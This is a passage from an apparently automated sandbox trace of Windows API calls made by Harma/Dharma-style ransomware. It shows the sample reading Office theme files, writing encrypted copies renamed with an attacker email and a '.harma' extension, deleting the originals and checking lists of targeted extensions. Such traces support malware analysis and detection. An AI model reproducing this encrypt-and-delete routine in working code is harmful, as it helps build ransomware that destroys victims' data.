lpFileSize=0x33bff1c*=618119) returned 1 [0144.372] CloseHandle (hObject=0x214) returned 1 [0144.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx")) returned 0x20 [0144.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0144.373] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.373] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0144.374] GetLastError () returned 0x0 [0144.374] ReadFile (in: hFile=0x214, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x96e87, lpOverlapped=0x0) returned 1 [0144.402] WriteFile (in: hFile=0x350, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x96e90, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x96e90, lpOverlapped=0x0) returned 1 [0144.414] ReadFile (in: hFile=0x214, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0144.414] WriteFile (in: hFile=0x350, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0144.414] SetEndOfFile (hFile=0x350) returned 1 [0144.414] CloseHandle (hObject=0x350) returned 1 [0144.415] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.415] SetEndOfFile (hFile=0x214) returned 1 [0144.430] CloseHandle (hObject=0x214) returned 1 [0144.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx")) returned 1 [0144.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0144.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0144.431] lstrlenW (lpString=".doc") returned 4 [0144.431] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0144.431] lstrlenW (lpString=".docx") returned 5 [0144.431] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0144.431] lstrlenW (lpString=".pdf") returned 4 [0144.431] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0144.431] lstrlenW (lpString=".xls") returned 4 [0144.431] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0144.431] lstrlenW (lpString=".xlsx") returned 5 [0144.431] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0144.431] lstrlenW (lpString=".ppt") returned 4 [0144.431] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0144.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0144.431] lstrlenW (lpString=".zip") returned 4 [0144.431] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0144.431] lstrlenW (lpString=".rar") returned 4 [0144.431] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0144.432] lstrlenW (lpString=".bz2") returned 4 [0144.432] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0144.432] lstrlenW (lpString=".7z") returned 3 [0144.432] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0144.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0144.432] lstrlenW (lpString=".dbf") returned 4 [0144.432] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0144.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0144.432] lstrlenW (lpString=".1cd") returned 4 [0144.432] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0144.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0144.432] lstrlenW (lpString=".jpg") returned 4 [0144.432] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0144.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0144.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0144.432] lstrlenW (lpString=".doc") returned 4 [0144.432] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0144.432] lstrlenW (lpString=".docx") returned 5 [0144.432] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0144.432] lstrlenW (lpString=".pdf") returned 4 [0144.432] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0144.432] lstrlenW (lpString=".xls") returned 4 [0144.432] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0144.432] lstrlenW (lpString=".xlsx") returned 5 [0144.432] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0144.432] lstrlenW (lpString=".ppt") returned 4 [0144.432] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0144.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0144.432] lstrlenW (lpString=".zip") returned 4 [0144.432] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0144.433] lstrlenW (lpString=".rar") returned 4 [0144.433] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0144.433] lstrlenW (lpString=".bz2") returned 4 [0144.433] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0144.433] lstrlenW (lpString=".7z") returned 3 [0144.433] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0144.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0144.433] lstrlenW (lpString=".dbf") returned 4 [0144.433] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0144.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0144.433] lstrlenW (lpString=".1cd") returned 4 [0144.433] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0144.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0144.433] lstrlenW (lpString=".jpg") returned 4 [0144.433] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0144.433] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0144.433] lstrlenW (lpString="Civic.eftx") returned 10 [0144.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0144.738] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=42917) returned 1 [0144.743] CloseHandle (hObject=0x338) returned 1 [0144.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx")) returned 0x20 [0144.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0144.768] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.768] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0144.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0145.285] GetLastError () returned 0x0 [0145.285] ReadFile (in: hFile=0x354, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0xa7a5, lpOverlapped=0x0) returned 1 [0145.288] WriteFile (in: hFile=0x218, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xa7b0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xa7b0, lpOverlapped=0x0) returned 1 [0145.289] ReadFile (in: hFile=0x354, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.289] WriteFile (in: hFile=0x218, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0145.289] SetEndOfFile (hFile=0x218) returned 1 [0145.289] CloseHandle (hObject=0x218) returned 1 [0145.290] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.290] SetEndOfFile (hFile=0x354) returned 1 [0145.293] CloseHandle (hObject=0x354) returned 1 [0145.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.443] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx")) returned 1 [0145.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0145.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0145.444] lstrlenW (lpString=".doc") returned 4 [0145.444] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0145.444] lstrlenW (lpString=".docx") returned 5 [0145.444] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0145.444] lstrlenW (lpString=".pdf") returned 4 [0145.444] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0145.444] lstrlenW (lpString=".xls") returned 4 [0145.444] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0145.444] lstrlenW (lpString=".xlsx") returned 5 [0145.444] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0145.444] lstrlenW (lpString=".ppt") returned 4 [0145.444] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0145.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0145.444] lstrlenW (lpString=".zip") returned 4 [0145.444] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0145.444] lstrlenW (lpString=".rar") returned 4 [0145.444] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0145.444] lstrlenW (lpString=".bz2") returned 4 [0145.444] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0145.444] lstrlenW (lpString=".7z") returned 3 [0145.444] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0145.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0145.444] lstrlenW (lpString=".dbf") returned 4 [0145.444] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0145.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0145.444] lstrlenW (lpString=".1cd") returned 4 [0145.444] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0145.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0145.445] lstrlenW (lpString=".jpg") returned 4 [0145.445] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0145.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0145.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0145.445] lstrlenW (lpString=".doc") returned 4 [0145.445] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0145.445] lstrlenW (lpString=".docx") returned 5 [0145.445] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0145.445] lstrlenW (lpString=".pdf") returned 4 [0145.445] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0145.445] lstrlenW (lpString=".xls") returned 4 [0145.445] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0145.445] lstrlenW (lpString=".xlsx") returned 5 [0145.445] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0145.445] lstrlenW (lpString=".ppt") returned 4 [0145.445] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0145.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0145.445] lstrlenW (lpString=".zip") returned 4 [0145.445] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0145.445] lstrlenW (lpString=".rar") returned 4 [0145.445] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0145.445] lstrlenW (lpString=".bz2") returned 4 [0145.445] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0145.445] lstrlenW (lpString=".7z") returned 3 [0145.445] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0145.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0145.445] lstrlenW (lpString=".dbf") returned 4 [0145.445] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0145.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0145.445] lstrlenW (lpString=".1cd") returned 4 [0145.446] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0145.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx") returned 77 [0145.446] lstrlenW (lpString=".jpg") returned 4 [0145.446] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0145.446] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0145.446] lstrlenW (lpString="Concourse.eftx") returned 14 [0145.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0145.764] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=22417) returned 1 [0145.764] CloseHandle (hObject=0x214) returned 1 [0145.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx")) returned 0x20 [0145.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0145.788] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.788] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0145.789] GetLastError () returned 0x0 [0145.789] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x5791, lpOverlapped=0x0) returned 1 [0145.805] WriteFile (in: hFile=0x344, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x57a0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x57a0, lpOverlapped=0x0) returned 1 [0145.806] ReadFile (in: hFile=0x2e8, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0145.806] WriteFile (in: hFile=0x344, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0145.806] SetEndOfFile (hFile=0x344) returned 1 [0145.806] CloseHandle (hObject=0x344) returned 1 [0145.807] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0145.807] SetEndOfFile (hFile=0x2e8) returned 1 [0145.809] CloseHandle (hObject=0x2e8) returned 1 [0145.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx")) returned 1 [0145.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0145.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0145.810] lstrlenW (lpString=".doc") returned 4 [0145.810] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0145.810] lstrlenW (lpString=".docx") returned 5 [0145.810] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0145.810] lstrlenW (lpString=".pdf") returned 4 [0145.810] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0145.810] lstrlenW (lpString=".xls") returned 4 [0145.811] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0145.811] lstrlenW (lpString=".xlsx") returned 5 [0145.811] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0145.811] lstrlenW (lpString=".ppt") returned 4 [0145.811] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0145.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0145.811] lstrlenW (lpString=".zip") returned 4 [0145.811] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0145.811] lstrlenW (lpString=".rar") returned 4 [0145.811] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0145.811] lstrlenW (lpString=".bz2") returned 4 [0145.811] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0145.811] lstrlenW (lpString=".7z") returned 3 [0145.811] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0145.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0145.811] lstrlenW (lpString=".dbf") returned 4 [0145.811] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0145.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0145.811] lstrlenW (lpString=".1cd") returned 4 [0145.811] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0145.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0145.811] lstrlenW (lpString=".jpg") returned 4 [0145.811] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0145.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0145.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0145.811] lstrlenW (lpString=".doc") returned 4 [0145.811] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0145.811] lstrlenW (lpString=".docx") returned 5 [0145.812] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0145.812] lstrlenW (lpString=".pdf") returned 4 [0145.812] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0145.812] lstrlenW (lpString=".xls") returned 4 [0145.812] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0145.812] lstrlenW (lpString=".xlsx") returned 5 [0145.812] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0145.812] lstrlenW (lpString=".ppt") returned 4 [0145.812] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0145.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0145.812] lstrlenW (lpString=".zip") returned 4 [0145.812] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0145.812] lstrlenW (lpString=".rar") returned 4 [0145.812] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0145.812] lstrlenW (lpString=".bz2") returned 4 [0145.812] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0145.812] lstrlenW (lpString=".7z") returned 3 [0145.812] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0145.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0145.812] lstrlenW (lpString=".dbf") returned 4 [0145.812] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0145.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0145.812] lstrlenW (lpString=".1cd") returned 4 [0145.813] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0145.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0145.813] lstrlenW (lpString=".jpg") returned 4 [0145.813] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0145.813] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0145.813] lstrlenW (lpString="Foundry.eftx") returned 12 [0145.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0145.817] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=18226) returned 1 [0145.817] CloseHandle (hObject=0x338) returned 1 [0145.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx")) returned 0x20 [0145.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 